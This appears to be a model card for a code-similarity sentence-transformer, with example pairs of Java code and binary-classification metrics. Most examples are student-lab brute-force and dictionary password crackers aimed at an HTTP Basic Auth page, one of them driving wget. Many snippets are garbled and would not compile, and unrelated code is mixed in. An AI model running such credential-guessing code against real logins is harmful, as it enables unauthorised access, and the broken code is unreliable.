public class BruteForce
{
   private Cracker crack;
   private Vector clients;
   private int num;
   private int bigStart;

   public BruteForce()
   {
      int i, j;
       int start, finish;
      start=finish = 0;
      
      crack = new Cracker();
      crack.loadLetters();
      crack.loadPairs();
      crack.loadTriples();
      num = crack.getVictor().size();
      clients = new Vector( num);
      j = 0;
      
      bigStart = System.currentTimeMillis();
      for( i = 0; i < num; i++)
      {
          MyClient2 client =  new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i));
          
          clients.add( client);
	  Thread t = new Thread( client);
	  t.print();
          j++;
          if(j == 100)
          {
             t = System.currentTimeMillis();
             System.out.println("i = "+i+" "+(String)crack.getVictor().elementAt( i));
             finish = t;
             while( (finish - t ) < 1000)
             {
                finish = System.currentTimeMillis();
             }
             j = 0;
          }
    
      }
   }
   
   public void retire(int MyClient2 )
   {
      int bigFinish;
      bigFinish = t.getTime();
      System.out.println(" It took "+(bigFinish - bigStart)/1000+" "+"seconds  crack password using brute force");
      System.exit(0);
   }
   
   public static void main (String[] args)
   {
      BruteForce  = new BruteForce();
   }
}
      
, source_sentence: 


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;






public class MailsendPropertyHelper {

	private static Properties testProps;

	public MailsendPropertyHelper() {
	}


	

	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println("Error init'ing the watchddog Props");
			e.printStackTrace();
		}
		return testProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(testProps == null){
			testProps = new Properties();

			InputStream fis =
				MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
			testProps.load(fis);
		}
	}
}






sentences: import java.net.*;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      boolean morePasswords = true;
      int passPtr = 0;
      StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
      char[] password = new char[MAX_LENGTH];

      password[0] = validChars.charAt(0);
      while (!auth && morePasswords) {
         String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
         try {
            
            Authenticator.setDefault(new CrackAuth(password));
            URL url = new URL(resource);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setRequestMethod("HEAD");
            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
               System.out.println("cracked with " + new String(password));
               auth = true;
            }
         } catch (Exception e) {
            System.out.println(" was  exception: " + e.getMessage());
         }
         int count = passPtr;
         while (true) {
            if (password[count] == validChars.charAt(validChars.length() - 1)) {
               password[count] = validChars.charAt(0);
               count--;
            } else {
               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
               break;
            }
            if (count < 0) {
               
               if (passPtr < MAX_LENGTH - 1) {
                  passPtr++;
                  password[passPtr] = validChars.charAt(0);
               } else {
                  morePasswords = false;
               }
               break;
            }
         }
         
      } 
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}
, 

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class Dictionary {
 public static void  main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));

       d  = new Date().getTime();
       FileReader fr = new FileReader("/usr/share/lib/dict/words");
       BufferedReader bufr = new BufferedReader(fr);
       String word = bufr.readLine();             
       int total = 960;
       String[] pws = new String[total];
       int count = 0;
       while (word!=null){
        if (word.length()<=3) { pws[count] = word; count++;}
	word = bufr.readLine();
       }
       
       int i=0;
       int response = 0;
       for (i=0;i<count;i++){
        String uname = "";
        String userinfo = uname + ":" + pws[i];
        try{
         String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());
         URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
         uc.setRequestProperty ("Authorization", " " + encoding);
         response = uc.getResponseCode();
	 if (response == 200) break;
	 else uc.disconnect();
        }
        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
       }
       System.out.println("Response "+i+" was "+response);
       System.out.println("The successful password was "+pws[i]);
        finish = new Date().getTime();
       float totaltime = (float)(finish-d)/1000;
       System.out.println("Time taken: "+totaltime+ " seconds.");
       
   }
}

,  




import java.util.*;
import java.io.*;

public class MyTimer
{	

	public static void main(String args[])
	{
		Watchdog watch = new Watchdog();
		Timer time = new Timer();
		time.schedule(watch,864000000,864000000);
		
			
	}
}
, source_sentence: 

import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class Dictionary
{
  public Dictionary()
  {}

  public boolean fetchURL(String urlString,String username,String password)
  {
     StringWriter  sw= new StringWriter();
     PrintWriter  pw = new PrintWriter();
     try{
       URL url=new URL(urlString);  
       String userPwd= username+":"+password;

       
       
       
       

       BASE64Encoder encoder = new BASE64Encoder();
       String encodedStr = encoder.encode (userPwd.getBytes());
       System.out.println("Original String = " + userPwd);
	 System.out.println("Encoded String = " + encodedStr);

       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  
       huc.setRequestProperty( "Authorization"," "+encodedStr);   
       InputStream content = (InputStream)huc.getInputStream();
       BufferedReader in   =
       new BufferedReader (new InputStreamReader (content));
       String line;
       while ((line = in.readLine()) != null) {
         pw.println (line);
       System.out.println("");
       System.out.println(sw.toString());
       }return true;
     } catch (MalformedURLException e) {
       pw.println ("Invalid URL");
       return false;
     } catch (IOException e) {
       pw.println ("Error  URL");
       return false;
     }

  }

  public void getPassword()
  {
     String dictionary="words";
     String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
     String login="";
     String pwd=" ";

     try
     {
       BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
        startTime=System.currentTimeMillis();
       while (pwd!=null)
       {
         pwd=inputStream.readLine();
         if(this.fetchURL(urlString,login,pwd))
         {
            finishTime=System.currentTimeMillis();
           System.out.println("Finally I gotta it,  password is : "+pwd);
           System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
           System.exit(1);
         } 

       }
       inputStream.close();
     }
     catch(FileNotFoundException e)
     {
       System.out.println("Dictionary not found.");
     }
     catch(IOException e)
     {
       System.out.println("Error  dictionary");
     }
  }

  public static void main(String[] arguments)
  {
     BruteForce bf=new BruteForce();
     bf.getPassword();
  } 
}
sentences: import java.net.*;
import java.io.*;

 public class Dictionary {
 int attempts = 0;
   URLConnection conn = null;

   public static void main (String args[]){

	Dictionary a = new Dictionary();
     a.attack(args);
     }

   public void attack(String args[]) {
   try {
       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();


       passwd = getPasswd();
       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
       }
     catch (IOException e) {
  
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     Dictionary a = new Dictionary();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again");
	Dictionary a = new Dictionary();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {

 int i=0;int j=0;
 attempts++;
 int count =0;
 System.out.println("Passing dictionary word and waiting for URL reply....... ");
  String currentword = "";
  String se = "";
  try{
 FileInputStream reader = new FileInputStream ("words");
 DataInputStream in = new DataInputStream(reader);
 while (in.available() !=0)
{
 currentword = in.readLine();
 count++;
 
 
 }
 }
  catch( IOException e){}

  return currentword;
	 
         }



 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
         case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, 

import java.io.*;
import java.*;

public class BruteForce 
{
   public static void main(String args[]) 
   {
      String s = null;
      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";

      
      String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
     
      String password = null;
      int len = 0;
      int num_tries = 0;

      len = alphabets.length();
      
      
      for (int i=0; i<len; i++)
      {
         for (int j=0; j<len; j++)
	 {
            for (int k=0; k<len; k++)
	    {
               try 
               {
                  
                  password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));
               
                  System.out.print(alphabets.charAt(i)); 
                  System.out.print(alphabets.charAt(j)); 
                  System.out.println(alphabets.charAt(k));      

                  
                  Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
                  
                  BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

                  BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

                  
                  while ((s = stdInput.readLine()) != null)
                  {
                     System.out.println(s);
                  }
                  
                  
                  while ((s = stdError.readLine()) != null)
                  {
                     System.out.println(s);
                  }
                  
                  try
		      {
                     p.waitFor(); 
                  }
                  catch (InterruptedException g)  
                  {
                  }  

                  num_tries++;
                  
                  if((p.exitValue()) == 0)
                  {       
                     System.out.println("**********PASSWORD IS: " + password);
	             System.out.println("**********NUMBER OF TRIES: " + num_tries);
                     System.exit(1);
                  }
               }
               catch (IOException e)
               {
                  System.out.println("exception happened - here's what I know: ");
                  e.printStackTrace();
                  System.exit(-1);
               }
            }
         }
      }
   }
}

, 






























import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) throws IOException {

      
      int start , end, total;
      start = System.currentTimeMillis(); 

      String username = "";
      String password = null;
      String host = "http://sec-crack.cs.rmit.edu./SEC/2/";

      
      
      String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
      int lettersLen = letters.length(); 
      int passwordLen=3; 

      int passwords=0; 
      int twoChar=0; 

      url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
      

      
      String authenticate = ""; 
      String realm = null, domain = null, hostname = null;
       header = null; 

      
      int responseCode;
      String responseMsg;

      
      int temp1=0;
      int temp2=0;
      int temp3=0;


      
      
      
      for (int a=1; a<=passwordLen; a++) {
        temp1  = (int) Math.pow(lettersLen, a);
         passwords += temp1;
         if (a==2) {
            twoChar = temp1; 
         }
      }

      System.out.println("Brute Attack  " + host + " has commenced.");
      System.out.println("Number of possible password combinations: " + passwords);


      int i=1; 

       {
         try {
            
            URL url = new URL(host);
            HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();

            
            if(realm != null) {

               
               if ( i < lettersLen) {
                  

                   password = letters.substring(i, (i+1));

               } else if (i < (lettersLen + twoChar)) {
                   

                   
                   temp1 = i / lettersLen;
                   password = letters.substring((-1), start );

                   
                   temp1 = i - ( temp1 * lettersLen);
                   password = password + letters.substring(temp1, (+1));

               } else {
                   

                   
                   temp2 = i / lettersLen;
                   temp1 = i - (temp2 * lettersLen);
                   password = letters.substring(temp1, (+1));

                   
                   temp3 = temp2; 
                   temp2 = temp2 / lettersLen;
                   temp1  = temp3 - (temp2 * lettersLen);
                   password = letters.substring(temp1, (+1)) + password;

                   
                   temp3 = temp2; 
                   temp2 = temp2 / lettersLen;
                   temp1 = temp3 - (temp2 * lettersLen);
                   password = letters.substring(temp1, (+1)) + password;

               } 

               
               
               authenticate = username + ":" + password;
               authenticate = new String(base.encode(authenticate.getBytes()));
               httpConnect.addRequestProperty("Authorization", " " + authenticate);

            } 

            
            httpConnect.connect();

            
            realm = httpConnect.getHeaderField("WWW-Authenticate");
            if (realm != null) {
               realm = realm.substring(realm.indexOf('"') + 1);
               realm = realm.substring(0, realm.indexOf('"'));
            }

            hostname = url.getHost();

            
            responseCode = httpConnect.getResponseCode();
            responseMsg = httpConnect.getResponseMessage();

            
            
            
            
            

            
            
            if (responseCode == 200) {
               
               end = System.currentTimeMillis();
               total = (end - start) / 1000; 

               System.out.println ("Sucessfully Connected  " + url);
               System.out.println("Login Attempts Required : " + (i-1));
               System.out.println("Time Taken in Seconds : " + total);
               System.out.println ("Connection Status : " + responseCode + " " + responseMsg);
               System.out.println ("Username : " + username);
               System.out.println ("Password : " + password);
               System.exit( 0 );
            } else if (responseCode == 401 && realm != null) {
               
               
               
               if (i > 1) {

               }
            } else {
               
               
                System.out.println ("What the?... The server replied with  unexpected reponse." );
               System.out.println (" Unexpected Error Occured While Attempting  Connect  " + url);
               System.out.println ("Connection Status: " + responseCode + responseMsg);
               System.out.println ("Unfortunately the password could not  recovered.");
               System.exit( 0 );
           }

           i++;

        } catch(MalformedURLException e) {
           System.out.println("Opps, the URL " + host + " is not valid.");
           System.out.println("Please check the URL and try again.");
        } catch(IOException e) {
           System.out.println(", 't connect  " + host + ".");
           System.out.println("Please check the URL and try again.");
           System.out.println("Other possible causes include website is currently unavailable");
           System.out.println("  have  internet connection problem.");
        } 

     }  while(realm != null); 


   }
}
pipeline_tag: sentence-similarity
library_name: sentence-transformers
metrics: cosine_accuracy, cosine_accuracy_threshold, cosine_f1, cosine_f1_threshold, cosine_precision, cosine_recall, cosine_ap, cosine_mcc
model-index: name: SentenceTransformer based on huggingface/CodeBERTa-small-v1
results: task: type: binary-classification
name: Binary Classification
dataset: name: binary classification evaluator
type: binary-classification-evaluator
metrics: type: cosine_accuracy
value: 0.999534450651769
name: Cosine Accuracy
verified: no, type: cosine_accuracy_threshold
value: 0.8751956224441528
name: Cosine Accuracy Threshold
verified: no, type: cosine_f1
value: 0.9995346672871103
name: Cosine F1
verified: no, type: cosine_f1_threshold
value: 0.8751956224441528
name: Cosine F1 Threshold
verified: no, type: cosine_precision
value: 0.9990697674418605
name: Cosine Precision
verified: no, type: cosine_recall
value: 1
name: Cosine Recall
verified: no, type: cosine_ap
value: 0.9999512493871627
name: Cosine Ap
verified: no, type: cosine_mcc
value: 0.9990693343726054
name: Cosine Mcc
verified: no
Likes: 0 | All-time downloads: 19
Created: 2025-09-23 15:14:32